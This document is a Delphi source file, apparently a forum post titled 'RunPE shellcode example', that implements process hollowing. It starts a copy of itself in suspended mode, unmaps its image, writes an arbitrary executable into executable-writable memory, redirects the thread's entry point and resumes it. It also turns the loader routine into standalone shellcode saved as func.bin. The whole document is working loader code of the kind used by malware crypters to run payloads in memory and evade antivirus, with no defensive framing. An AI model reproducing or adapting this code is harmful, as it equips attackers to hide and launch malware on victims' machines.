کد:
program RunPEShellCode;
{
RunPE shellcode example
by Li0n Coder
}
uses Windows;
type
Info = record
//LoadEXE
ProcInfo :TProcessInformation;
StartInfo :TStartupInfo;
DosHeader :PImageDosHeader;
NTHeaders :PImageNTHeaders;
SectionHeader:PImageSectionHeader;
BytesWritten :DWORD;
I :Integer;
Context :TContext;
//CreateProcess
CreateProcessA :function(lpApplicationName: PChar; lpCommandLine: PChar;lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;var lpProcessInformation: TProcessInformation): BOOL; stdcall;
lpApplicationName:PChar;
lpCommandLine: PChar;
lpProcessAttributes :PSecurityAttributes;
lpThreadAttributes :PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
CreateProcessAProcName :array[0..128] of Char;
CreateProcessADll :array[0..128] of Char;
//ZwUnmapViewOfSection
ZwUnmapViewOfSection :function(ProcessHandle: THandle; BaseAddress: Pointer): LongInt; stdcall;
BaseAddress: Pointer;
ZwUnmapViewOfSectionProcName :array[0..128] of Char;
ZwUnmapViewOfSectionDll :array[0..128] of Char;
//VirtualAllocEx
VirtualAllocEx :function(hProcess: THandle; lpAddress: Pointer;dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
flAllocationType: DWORD;
flProtect: DWORD;
VirtualAllocExProcName :array[0..128] of Char;
VirtualAllocExDll :array[0..128] of Char;
//WriteProcessMemory
WriteProcessMemory :function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
lpNumberOfBytesWritten: DWORD;
WriteProcessMemoryProcName :array[0..128] of Char;
WriteProcessMemoryDll :array[0..128] of Char;
//GetThreadContext
GetThreadContext :function(hThread: THandle; var lpContext: TContext): BOOL; stdcall;
GetThreadContextProcName :array[0..128] of Char;
GetThreadContextDll :array[0..128] of Char;
//SetThreadContext
SetThreadContext :function(hThread: THandle; const lpContext: TContext): BOOL; stdcall;
SetThreadContextProcName :array[0..128] of Char;
SetThreadContextDll :array[0..128] of Char;
//ResumeThread
ResumeThread :function(hThread: THandle): DWORD; stdcall;
ResumeThreadProcName :array[0..128] of Char;
ResumeThreadDll :array[0..128] of Char;
//MessageBoxA
MessageBoxA: function(hWnd: LongWord; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
hWnd: HWND;
lpText: array[0..128] of Char;
lpCaption: array[0..128] of Char;
uType: UINT;
MessageBoxAProcName: array[0..128] of Char;
MessageBoxADll: array[0..128] of Char;
//GetProcAddress
GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
pGetProcAddress: Pointer;
//LoadLibraryA
LoadLibraryA: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
pLoadLibraryA: Pointer;
end;
procedure RunPEProc(TInfo:Info;Buffer:pchar); stdcall;
var
I :Integer;
Begin
@TInfo.GetProcAddress := TInfo.pGetProcAddress;
@TInfo.LoadLibraryA := TInfo.pLoadLibraryA;
@TInfo.MessageBoxA := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.MessageBoxADll), TInfo.MessageBoxAProcName);
TInfo.MessageBoxA(TInfo.hWnd, TInfo.lpText, TInfo.lpCaption, TInfo.uType);
TInfo.DosHeader := PImageDosHeader(@Buffer[0]);
if TInfo.DosHeader.e_magic <> IMAGE_DOS_SIGNATURE then exit;
TInfo.NTHeaders := PImageNTHeaders(@Buffer[TInfo.DosHeader._lfanew]);
if TInfo.NTHeaders.Signature <> IMAGE_NT_SIGNATURE then exit;
TInfo.StartInfo.cb := sizeof(TStartupInfo);
@TInfo.CreateProcessA := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.CreateProcessADll), TInfo.CreateProcessAProcName);
TInfo.CreateProcessA(TInfo.lpApplicationName, TInfo.lpCommandLine, TInfo.lpProcessAttributes, TInfo.lpThreadAttributes, TInfo.bInheritHandles, TInfo.dwCreationFlags, TInfo.lpEnvironment, TInfo.lpCurrentDirectory, TInfo.StartInfo, TInfo.ProcInfo);
@TInfo.ZwUnmapViewOfSection := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.ZwUnmapViewOfSectionDll), TInfo.ZwUnmapViewOfSectionProcName);
TInfo.ZwUnmapViewOfSection(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase));
@TInfo.VirtualAllocEx := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.VirtualAllocExDll), TInfo.VirtualAllocExProcName);
TInfo.VirtualAllocEx(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase), TInfo.NTHeaders.OptionalHeader.SizeOfImage, TInfo.flAllocationType, TInfo.flProtect);
@TInfo.WriteProcessMemory := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.WriteProcessMemoryDll), TInfo.WriteProcessMemoryProcName);
TInfo.WriteProcessMemory(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase), @Buffer[0], TInfo.NTHeaders.OptionalHeader.SizeOfHeaders, TInfo.lpNumberOfBytesWritten);
For I := 0 To TInfo.NTHeaders.FileHeader.NumberOfSections -1 Do
begin
TInfo.SectionHeader := PImageSectionHeader(@Buffer[TInfo.DosHeader._lfanew + sizeof(TInfo.NTHeaders^) + sizeof(TInfo.SectionHeader^) * i]);
TInfo.WriteProcessMemory(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase + TInfo.SectionHeader.VirtualAddress), @Buffer[TInfo.SectionHeader.PointerToRawData], TInfo.SectionHeader.SizeOfRawData, TInfo.lpNumberOfBytesWritten);
end;
@TInfo.GetThreadContext := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.GetThreadContextDll), TInfo.GetThreadContextProcName);
TInfo.GetThreadContext(TInfo.ProcInfo.hThread, TInfo.context);
TInfo.context.Eax := TInfo.NTHeaders.OptionalHeader.ImageBase + TInfo.NTHeaders.OptionalHeader.AddressOfEntryPoint;
@TInfo.SetThreadContext := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.SetThreadContextDll), TInfo.SetThreadContextProcName);
TInfo.SetThreadContext(TInfo.ProcInfo.hThread, TInfo.context);
@TInfo.ResumeThread := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.ResumeThreadDll), TInfo.ResumeThreadProcName);
TInfo.ResumeThread(TInfo.ProcInfo.hThread);
End;
Function FunctionToString(pFunction:Pointer):String;
var
FunctionSize:DWORD;
FunctionString:AnsiString;
begin
FunctionSize := 0;
repeat
inc(FunctionSize);
until PByte(Cardinal(pFunction)+FunctionSize-1)^ = $C3;
SetLength(FunctionString, FunctionSize);
Move(pFunction^, FunctionString[1], FunctionSize);
Result := FunctionString;
end;
Function ReadFileData(FileName: String): AnsiString;
Var
F :File;
Buffer :AnsiString;
Size :Integer;
ReadBytes :Integer;
DefaultFileMode:Byte;
Begin
Result := '';
DefaultFileMode := FileMode;
FileMode := 0;
AssignFile(F, FileName);
Reset(F, 1);
If (IOResult = 0) Then
Begin
Size := FileSize(F);
While (Size > 1024) Do
Begin
SetLength(Buffer, 1024);
BlockRead(F, Buffer[1], 1024, ReadBytes);
Result := Result + Buffer;
Dec(Size, ReadBytes);
End;
SetLength(Buffer, Size);
BlockRead(F, Buffer[1], Size);
Result := Result + Buffer;
CloseFile(F);
End;
FileMode := DefaultFileMode;
End;
var
Data:string;
TInfo:Info;
RunPE:procedure(TInfo:Info;Buffer:pchar); stdcall;
filedata:string;
FileHandle:Thandle;
BytesWritten:DWORD;
begin
//MessageBoxA
TInfo.hWnd := 0;
TInfo.lpText := 'hi from shellcode RunPE';
TInfo.lpCaption := 'info!';
TInfo.uType := 0;
TInfo.MessageBoxAProcName := 'MessageBoxA';
TInfo.MessageBoxADll := 'user32.dll';
TInfo.pGetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'),pChar('GetProcAddress'));
TInfo.pLoadLibraryA := GetProcAddress(GetModuleHandle('kernel32.dll'),pChar('LoadLibraryA'));
//CreateProcessA
TInfo.lpApplicationName:= nil;
TInfo.lpCommandLine:= pchar(paramstr(0));
TInfo.lpProcessAttributes :=nil;
TInfo.lpThreadAttributes :=nil;
TInfo.bInheritHandles:= False;
TInfo.dwCreationFlags:= CREATE_SUSPENDED;
TInfo.lpEnvironment:= nil;
TInfo.lpCurrentDirectory:= nil;
TInfo.CreateProcessAProcName := 'CreateProcessA';
TInfo.CreateProcessADll := 'kernel32.dll';
//ZwUnmapViewOfSection
TInfo.ZwUnmapViewOfSectionProcName := 'ZwUnmapViewOfSection';
TInfo.ZwUnmapViewOfSectionDll := 'ntdll.dll';
//VirtualAllocEx
TInfo.flAllocationType:= MEM_COMMIT or MEM_RESERVE;
TInfo.flProtect:= PAGE_EXECUTE_READWRITE;
TInfo.VirtualAllocExProcName := 'VirtualAllocEx';
TInfo.VirtualAllocExDll := 'kernel32.dll';
//WriteProcessMemory
TInfo.WriteProcessMemoryProcName := 'WriteProcessMemory';
TInfo.WriteProcessMemoryDll := 'kernel32.dll';
//GetThreadContext
TInfo.context.ContextFlags := CONTEXT_FULL;
TInfo.GetThreadContextProcName := 'GetThreadContext';
TInfo.GetThreadContextDll := 'kernel32.dll';
//SetThreadContext
TInfo.SetThreadContextProcName := 'SetThreadContext';
TInfo.SetThreadContextDll := 'kernel32.dll';
//ResumeThread
TInfo.ResumeThreadProcName := 'ResumeThread';
TInfo.ResumeThreadDll := 'kernel32.dll';
ZeroMemory(@TInfo.StartInfo, SizeOf(TStartupInfo));
//function to shellcode example
Data := FunctionToString(@RunPEProc);
//wtite shellcode to file example
FileHandle := CreateFile(PChar('func.bin'), GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(FileHandle, Data[1], Length(Data), BytesWritten, nil);
CloseHandle(FileHandle);
//read exe file to be loaded in memory using shellcode RunPE
filedata := ReadFileData('exe to be loaded in memory.exe');
//how to use shellcode RunPE
GetMem(@RunPE, length(Data));
CopyMemory(@RunPE, @Data[1], length(Data));
RunPE(TInfo,@filedata[1]);
end.